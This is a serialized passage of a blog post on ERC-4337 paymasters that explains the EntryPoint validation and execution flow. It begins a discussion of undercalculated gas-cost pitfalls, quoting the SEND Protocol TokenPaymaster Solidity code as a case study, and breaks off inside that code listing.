"_extension":1527},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":100538,"width":95753,"height":13},"/posts/paymasters-evm/title.png",[100540,100541],"evm","ERC-4337",{"type":20,"children":100543,"toc":106293},[100544,100548,100559,100564,100569,100574,100580,100586,100591,100596,100602,100607,100635,100641,100646,100653,100658,100668,100673,100699,100705,100725,100731,100751,100759,100790,100823,100832,100844,100869,100881,100894,100937,100943,100976,101075,101094,101117,101122,101128,101156,101303,101308,101335,101341,101353,101365,101374,101409,101414,102899,102927,102948,102953,102965,102974,102979,102997,103020,103025,103031,103085,103091,103124,103159,103983,104019,104055,104121,104154,104652,104705,104717,105281,105350,105377,105999,106041,106068,106080,106141,106160,106194,106199,106204,106209,106213,106218,106253,106279,106284,106289],{"type":23,"tag":33843,"props":100545,"children":100546},{"id":26},[100547],{"type":29,"value":30},{"type":23,"tag":32,"props":100549,"children":100550},{},[100551,100557],{"type":23,"tag":55,"props":100552,"children":100555},{"href":100553,"rel":100554},"https://docs.erc4337.io/",[59],[100556],{"type":29,"value":100541},{"type":29,"value":100558}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":32,"props":100560,"children":100561},{},[100562],{"type":29,"value":100563},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":32,"props":100565,"children":100566},{},[100567],{"type":29,"value":100568},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":32,"props":100570,"children":100571},{},[100572],{"type":29,"value":100573},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":33843,"props":100575,"children":100577},{"id":100576},"erc4337-overview",[100578],{"type":29,"value":100579},"ERC4337 Overview",{"type":23,"tag":24,"props":100581,"children":100583},{"id":100582},"traditional-eoas-vs-smart-contract-wallets",[100584],{"type":29,"value":100585},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":32,"props":100587,"children":100588},{},[100589],{"type":29,"value":100590},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":32,"props":100592,"children":100593},{},[100594],{"type":29,"value":100595},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":24,"props":100597,"children":100599},{"id":100598},"why-erc4337-was-introduced",[100600],{"type":29,"value":100601},"Why ERC‑4337 Was Introduced",{"type":23,"tag":32,"props":100603,"children":100604},{},[100605],{"type":29,"value":100606},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":15362,"props":100608,"children":100609},{},[100610,100615,100620,100625,100630],{"type":23,"tag":120,"props":100611,"children":100612},{},[100613],{"type":29,"value":100614},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":120,"props":100616,"children":100617},{},[100618],{"type":29,"value":100619},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":120,"props":100621,"children":100622},{},[100623],{"type":29,"value":100624},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":120,"props":100626,"children":100627},{},[100628],{"type":29,"value":100629},"Using custom signature schemes or multisig logic",{"type":23,"tag":120,"props":100631,"children":100632},{},[100633],{"type":29,"value":100634},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":24,"props":100636,"children":100638},{"id":100637},"how-erc-4337-works",[100639],{"type":29,"value":100640},"How ERC-4337 Works",{"type":23,"tag":32,"props":100642,"children":100643},{},[100644],{"type":29,"value":100645},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":32,"props":100647,"children":100648},{},[100649],{"type":23,"tag":2591,"props":100650,"children":100652},{"alt":49057,"src":100651},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":32,"props":100654,"children":100655},{},[100656],{"type":29,"value":100657},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":8287,"props":100659,"children":100661},{"id":100660},"useroperation",[100662],{"type":23,"tag":38,"props":100663,"children":100665},{"className":100664},[],[100666],{"type":29,"value":100667},"UserOperation",{"type":23,"tag":32,"props":100669,"children":100670},{},[100671],{"type":29,"value":100672},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":15362,"props":100674,"children":100675},{},[100676,100681,100686],{"type":23,"tag":120,"props":100677,"children":100678},{},[100679],{"type":29,"value":100680},"Target contract call(s)",{"type":23,"tag":120,"props":100682,"children":100683},{},[100684],{"type":29,"value":100685},"Signature or validation metadata",{"type":23,"tag":120,"props":100687,"children":100688},{},[100689,100691,100697],{"type":29,"value":100690},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":38,"props":100692,"children":100694},{"className":100693},[],[100695],{"type":29,"value":100696},"UserOperations",{"type":29,"value":100698}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":8287,"props":100700,"children":100702},{"id":100701},"smart-contract-account",[100703],{"type":29,"value":100704},"Smart Contract Account",{"type":23,"tag":32,"props":100706,"children":100707},{},[100708,100710,100716,100717,100723],{"type":29,"value":100709},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":38,"props":100711,"children":100713},{"className":100712},[],[100714],{"type":29,"value":100715},"validateUserOp()",{"type":29,"value":313},{"type":23,"tag":38,"props":100718,"children":100720},{"className":100719},[],[100721],{"type":29,"value":100722},"executeUserOp()",{"type":29,"value":100724},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":8287,"props":100726,"children":100728},{"id":100727},"bundler",[100729],{"type":29,"value":100730},"Bundler",{"type":23,"tag":32,"props":100732,"children":100733},{},[100734,100736,100741,100743,100749],{"type":29,"value":100735},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":38,"props":100737,"children":100739},{"className":100738},[],[100740],{"type":29,"value":100696},{"type":29,"value":100742},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":38,"props":100744,"children":100746},{"className":100745},[],[100747],{"type":29,"value":100748},"EntryPoint",{"type":29,"value":100750}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":8287,"props":100752,"children":100753},{"id":13399},[100754],{"type":23,"tag":38,"props":100755,"children":100757},{"className":100756},[],[100758],{"type":29,"value":100748},{"type":23,"tag":32,"props":100760,"children":100761},{},[100762,100763,100768,100770,100775,100777,100781,100783,100788],{"type":29,"value":388},{"type":23,"tag":38,"props":100764,"children":100766},{"className":100765},[],[100767],{"type":29,"value":100748},{"type":29,"value":100769}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":38,"props":100771,"children":100773},{"className":100772},[],[100774],{"type":29,"value":100696},{"type":29,"value":100776}," submitted by a ",{"type":23,"tag":3998,"props":100778,"children":100779},{},[100780],{"type":29,"value":100730},{"type":29,"value":100782},", the ",{"type":23,"tag":38,"props":100784,"children":100786},{"className":100785},[],[100787],{"type":29,"value":100748},{"type":29,"value":100789}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":32,"props":100791,"children":100792},{},[100793,100795,100800,100802,100806,100808,100813,100815,100821],{"type":29,"value":100794},"Once all operations have been processed, the ",{"type":23,"tag":38,"props":100796,"children":100798},{"className":100797},[],[100799],{"type":29,"value":100748},{"type":29,"value":100801}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":3998,"props":100803,"children":100804},{},[100805],{"type":29,"value":100730},{"type":29,"value":100807},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":38,"props":100809,"children":100811},{"className":100810},[],[100812],{"type":29,"value":100748},{"type":29,"value":100814}," or from a ",{"type":23,"tag":38,"props":100816,"children":100818},{"className":100817},[],[100819],{"type":29,"value":100820},"paymaster",{"type":29,"value":100822}," that has agreed to sponsor the transaction.",{"type":23,"tag":8287,"props":100824,"children":100825},{"id":100820},[100826],{"type":23,"tag":38,"props":100827,"children":100829},{"className":100828},[],[100830],{"type":29,"value":100831},"Paymaster",{"type":23,"tag":32,"props":100833,"children":100834},{},[100835,100837,100842],{"type":29,"value":100836},"A ",{"type":23,"tag":38,"props":100838,"children":100840},{"className":100839},[],[100841],{"type":29,"value":100820},{"type":29,"value":100843}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":15362,"props":100845,"children":100846},{},[100847,100858],{"type":23,"tag":120,"props":100848,"children":100849},{},[100850,100856],{"type":23,"tag":38,"props":100851,"children":100853},{"className":100852},[],[100854],{"type":29,"value":100855},"validatePaymasterUserOp()",{"type":29,"value":100857}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":120,"props":100859,"children":100860},{},[100861,100867],{"type":23,"tag":38,"props":100862,"children":100864},{"className":100863},[],[100865],{"type":29,"value":100866},"postOp()",{"type":29,"value":100868},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":32,"props":100870,"children":100871},{},[100872,100874,100879],{"type":29,"value":100873},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":38,"props":100875,"children":100877},{"className":100876},[],[100878],{"type":29,"value":100820},{"type":29,"value":100880}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":24,"props":100882,"children":100884},{"id":100883},"understanding-the-entrypoints-flow",[100885,100887,100892],{"type":29,"value":100886},"Understanding the ",{"type":23,"tag":38,"props":100888,"children":100890},{"className":100889},[],[100891],{"type":29,"value":100748},{"type":29,"value":100893},"'s Flow",{"type":23,"tag":32,"props":100895,"children":100896},{},[100897,100899,100904,100905,100910,100912,100923,100925,100930,100931,100936],{"type":29,"value":100898},"When a bundler submits ",{"type":23,"tag":38,"props":100900,"children":100902},{"className":100901},[],[100903],{"type":29,"value":100696},{"type":29,"value":15088},{"type":23,"tag":38,"props":100906,"children":100908},{"className":100907},[],[100909],{"type":29,"value":100748},{"type":29,"value":100911}," contract via ",{"type":23,"tag":55,"props":100913,"children":100916},{"href":100914,"rel":100915},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[59],[100917],{"type":23,"tag":38,"props":100918,"children":100920},{"className":100919},[],[100921],{"type":29,"value":100922},"handleOps()",{"type":29,"value":100924},", the processing occurs in two main phases: ",{"type":23,"tag":3998,"props":100926,"children":100927},{},[100928],{"type":29,"value":100929},"Validation",{"type":29,"value":313},{"type":23,"tag":3998,"props":100932,"children":100933},{},[100934],{"type":29,"value":100935},"Execution",{"type":29,"value":322},{"type":23,"tag":8287,"props":100938,"children":100940},{"id":100939},"validation-phase",[100941],{"type":29,"value":100942},"Validation Phase",{"type":23,"tag":32,"props":100944,"children":100945},{},[100946,100948,100953,100955,100961,100963,100969,100970,100975],{"type":29,"value":100947},"In this phase, the ",{"type":23,"tag":38,"props":100949,"children":100951},{"className":100950},[],[100952],{"type":29,"value":100748},{"type":29,"value":100954}," first validates all operations in the submitted ",{"type":23,"tag":38,"props":100956,"children":100958},{"className":100957},[],[100959],{"type":29,"value":100960},"UserOps",{"type":29,"value":100962}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":38,"props":100964,"children":100966},{"className":100965},[],[100967],{"type":29,"value":100968},"UserOp",{"type":29,"value":100782},{"type":23,"tag":38,"props":100971,"children":100973},{"className":100972},[],[100974],{"type":29,"value":100748},{"type":29,"value":114},{"type":23,"tag":116,"props":100977,"children":100978},{},[100979,100997,101015,101036,101048],{"type":23,"tag":120,"props":100980,"children":100981},{},[100982,100989,100991],{"type":23,"tag":55,"props":100983,"children":100986},{"href":100984,"rel":100985},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[59],[100987],{"type":29,"value":100988},"Calculates",{"type":29,"value":100990}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":38,"props":100992,"children":100994},{"className":100993},[],[100995],{"type":29,"value":100996},"maxFeePerGas",{"type":23,"tag":120,"props":100998,"children":100999},{},[101000,101007,101008,101013],{"type":23,"tag":55,"props":101001,"children":101004},{"href":101002,"rel":101003},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[59],[101005],{"type":29,"value":101006},"Calls",{"type":29,"value":45},{"type":23,"tag":38,"props":101009,"children":101011},{"className":101010},[],[101012],{"type":29,"value":100715},{"type":29,"value":101014}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":120,"props":101016,"children":101017},{},[101018,101020,101027,101029,101034],{"type":29,"value":101019},"If no paymaster is specified, attempts to ",{"type":23,"tag":55,"props":101021,"children":101024},{"href":101022,"rel":101023},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[59],[101025],{"type":29,"value":101026},"deduct",{"type":29,"value":101028}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":38,"props":101030,"children":101032},{"className":101031},[],[101033],{"type":29,"value":100748},{"type":29,"value":101035}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":120,"props":101037,"children":101038},{},[101039,101046],{"type":23,"tag":55,"props":101040,"children":101043},{"href":101041,"rel":101042},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[59],[101044],{"type":29,"value":101045},"Validates",{"type":29,"value":101047}," the nonce to prevent replay attacks",{"type":23,"tag":120,"props":101049,"children":101050},{},[101051,101053,101059,101061,101067,101068,101073],{"type":29,"value":101052},"If a paymaster is specified, it will ",{"type":23,"tag":55,"props":101054,"children":101057},{"href":101055,"rel":101056},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[59],[101058],{"type":29,"value":101026},{"type":29,"value":101060}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":55,"props":101062,"children":101065},{"href":101063,"rel":101064},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[59],[101066],{"type":29,"value":36767},{"type":29,"value":45},{"type":23,"tag":38,"props":101069,"children":101071},{"className":101070},[],[101072],{"type":29,"value":100855},{"type":29,"value":101074}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":32,"props":101076,"children":101077},{},[101078,101080,101085,101087,101092],{"type":29,"value":101079},"Only after all these validation checks pass will the ",{"type":23,"tag":38,"props":101081,"children":101083},{"className":101082},[],[101084],{"type":29,"value":100748},{"type":29,"value":101086}," move on to actually executing the ",{"type":23,"tag":38,"props":101088,"children":101090},{"className":101089},[],[101091],{"type":29,"value":100667},{"type":29,"value":101093},". This strict validation flow ensures that:",{"type":23,"tag":15362,"props":101095,"children":101096},{},[101097,101102,101107,101112],{"type":23,"tag":120,"props":101098,"children":101099},{},[101100],{"type":29,"value":101101},"The operation is legitimate and authorized by the user",{"type":23,"tag":120,"props":101103,"children":101104},{},[101105],{"type":29,"value":101106},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":120,"props":101108,"children":101109},{},[101110],{"type":29,"value":101111},"The operation cannot be replayed",{"type":23,"tag":120,"props":101113,"children":101114},{},[101115],{"type":29,"value":101116},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":32,"props":101118,"children":101119},{},[101120],{"type":29,"value":101121},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":8287,"props":101123,"children":101125},{"id":101124},"execution-phase",[101126],{"type":29,"value":101127},"Execution Phase",{"type":23,"tag":32,"props":101129,"children":101130},{},[101131,101133,101138,101140,101147,101149,101154],{"type":29,"value":101132},"After all operations have passed validation, the ",{"type":23,"tag":38,"props":101134,"children":101136},{"className":101135},[],[101137],{"type":29,"value":100748},{"type":29,"value":101139}," begins the ",{"type":23,"tag":55,"props":101141,"children":101144},{"href":101142,"rel":101143},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[59],[101145],{"type":29,"value":101146},"execution",{"type":29,"value":101148}," phase, processing each ",{"type":23,"tag":38,"props":101150,"children":101152},{"className":101151},[],[101153],{"type":29,"value":100667},{"type":29,"value":101155}," individually. For each operation, the flow is:",{"type":23,"tag":116,"props":101157,"children":101158},{},[101159,101219,101265],{"type":23,"tag":120,"props":101160,"children":101161},{},[101162,101163,101168,101170,101176,101177,101183,101185],{"type":29,"value":388},{"type":23,"tag":38,"props":101164,"children":101166},{"className":101165},[],[101167],{"type":29,"value":100748},{"type":29,"value":101169}," makes a ",{"type":23,"tag":55,"props":101171,"children":101174},{"href":101172,"rel":101173},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[59],[101175],{"type":29,"value":36767},{"type":29,"value":55256},{"type":23,"tag":38,"props":101178,"children":101180},{"className":101179},[],[101181],{"type":29,"value":101182},"innerHandleOp()",{"type":29,"value":101184},", which:\n",{"type":23,"tag":15362,"props":101186,"children":101187},{},[101188,101200,101205],{"type":23,"tag":120,"props":101189,"children":101190},{},[101191,101198],{"type":23,"tag":55,"props":101192,"children":101195},{"href":101193,"rel":101194},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[59],[101196],{"type":29,"value":101197},"Forwards",{"type":29,"value":101199}," the operation to the sender's smart account contract",{"type":23,"tag":120,"props":101201,"children":101202},{},[101203],{"type":29,"value":101204},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":120,"props":101206,"children":101207},{},[101208,101210,101217],{"type":29,"value":101209},"Handles ",{"type":23,"tag":55,"props":101211,"children":101214},{"href":101212,"rel":101213},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[59],[101215],{"type":29,"value":101216},"post-execution",{"type":29,"value":101218}," tasks and cleanup",{"type":23,"tag":120,"props":101220,"children":101221},{},[101222,101224,101230,101232,101238,101239,101245,101247],{"type":29,"value":101223},"If a paymaster was used, ",{"type":23,"tag":38,"props":101225,"children":101227},{"className":101226},[],[101228],{"type":29,"value":101229},"Entrypoint",{"type":29,"value":101231}," will ",{"type":23,"tag":55,"props":101233,"children":101236},{"href":101234,"rel":101235},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[59],[101237],{"type":29,"value":36767},{"type":29,"value":45},{"type":23,"tag":38,"props":101240,"children":101242},{"className":101241},[],[101243],{"type":29,"value":101244},"paymaster.postOp()",{"type":29,"value":101246}," to:\n",{"type":23,"tag":15362,"props":101248,"children":101249},{},[101250,101255,101260],{"type":23,"tag":120,"props":101251,"children":101252},{},[101253],{"type":29,"value":101254},"Allow paymaster to finalize its accounting",{"type":23,"tag":120,"props":101256,"children":101257},{},[101258],{"type":29,"value":101259},"Process any refunds or additional charges",{"type":23,"tag":120,"props":101261,"children":101262},{},[101263],{"type":29,"value":101264},"Complete any paymaster-specific logic",{"type":23,"tag":120,"props":101266,"children":101267},{},[101268,101270,101275,101276,101283,101285],{"type":29,"value":101269},"Finally, after all operations are processed, the ",{"type":23,"tag":38,"props":101271,"children":101273},{"className":101272},[],[101274],{"type":29,"value":100748},{"type":29,"value":45},{"type":23,"tag":55,"props":101277,"children":101280},{"href":101278,"rel":101279},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[59],[101281],{"type":29,"value":101282},"compensates",{"type":29,"value":101284}," the bundler for:\n",{"type":23,"tag":15362,"props":101286,"children":101287},{},[101288,101293,101298],{"type":23,"tag":120,"props":101289,"children":101290},{},[101291],{"type":29,"value":101292},"Gas costs from executing all operations",{"type":23,"tag":120,"props":101294,"children":101295},{},[101296],{"type":29,"value":101297},"Overhead from submitting the batch transaction",{"type":23,"tag":120,"props":101299,"children":101300},{},[101301],{"type":29,"value":101302},"Any unused gas, which is refunded",{"type":23,"tag":32,"props":101304,"children":101305},{},[101306],{"type":29,"value":101307},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":32,"props":101309,"children":101310},{},[101311,101313,101318,101320,101326,101328,101333],{"type":29,"value":101312},"Now that we understand how the ",{"type":23,"tag":38,"props":101314,"children":101316},{"className":101315},[],[101317],{"type":29,"value":100748},{"type":29,"value":101319}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":38,"props":101321,"children":101323},{"className":101322},[],[101324],{"type":29,"value":101325},"paymasters",{"type":29,"value":101327}," that align with the ",{"type":23,"tag":38,"props":101329,"children":101331},{"className":101330},[],[101332],{"type":29,"value":100748},{"type":29,"value":101334},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":33843,"props":101336,"children":101338},{"id":101337},"common-pitfalls-in-paymaster-implementation",[101339],{"type":29,"value":101340},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":32,"props":101342,"children":101343},{},[101344,101346,101351],{"type":29,"value":101345},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":38,"props":101347,"children":101349},{"className":101348},[],[101350],{"type":29,"value":100748},{"type":29,"value":101352}," to exploitation or griefing.",{"type":23,"tag":32,"props":101354,"children":101355},{},[101356,101358,101363],{"type":29,"value":101357},"In this section, we’ll walk through the ",{"type":23,"tag":3998,"props":101359,"children":101360},{},[101361],{"type":29,"value":101362},"two most common pitfalls",{"type":29,"value":101364}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":24,"props":101366,"children":101368},{"id":101367},"undercalculated-gas-costs",[101369],{"type":23,"tag":3998,"props":101370,"children":101371},{},[101372],{"type":29,"value":101373},"Undercalculated Gas Costs",{"type":23,"tag":32,"props":101375,"children":101376},{},[101377,101379,101384,101386,101391,101393,101398,101400,101407],{"type":29,"value":101378},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":38,"props":101380,"children":101382},{"className":101381},[],[101383],{"type":29,"value":100748},{"type":29,"value":101385},". When a ",{"type":23,"tag":38,"props":101387,"children":101389},{"className":101388},[],[101390],{"type":29,"value":100667},{"type":29,"value":101392}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":38,"props":101394,"children":101396},{"className":101395},[],[101397],{"type":29,"value":100748},{"type":29,"value":101399}," charges a ",{"type":23,"tag":55,"props":101401,"children":101404},{"href":101402,"rel":101403},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[59],[101405],{"type":29,"value":101406},"penalty of 10%",{"type":29,"value":101408}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":32,"props":101410,"children":101411},{},[101412],{"type":29,"value":101413},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":131,"props":101415,"children":101417},{"className":432,"code":101416,"language":17,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[101418],{"type":23,"tag":38,"props":101419,"children":101420},{"__ignoreMap":7},[101421,101465,101472,101529,101537,101545,101587,101594,101606,101628,101649,101679,101730,101760,101781,101819,101858,101875,101914,101938,101955,101998,102020,102037,102054,102061,102068,102094,102111,102146,102177,102189,102236,102243,102250,102257,102324,102331,102338,102345,102356,102375,102394,102458,102481,102514,102529,102564,102572,102611,102636,102657,102665,102692,102719,102727,102735,102777,102784,102791,102815,102831,102838,102845,102863,102876,102883,102891],{"type":23,"tag":141,"props":101422,"children":101423},{"class":143,"line":144},[101424,101428,101433,101438,101443,101447,101452,101456,101461],{"type":23,"tag":141,"props":101425,"children":101426},{"style":449},[101427],{"type":29,"value":88299},{"type":23,"tag":141,"props":101429,"children":101430},{"style":725},[101431],{"type":29,"value":101432}," TokenPaymaster",{"type":23,"tag":141,"props":101434,"children":101435},{"style":449},[101436],{"type":29,"value":101437}," is",{"type":23,"tag":141,"props":101439,"children":101440},{"style":725},[101441],{"type":29,"value":101442}," 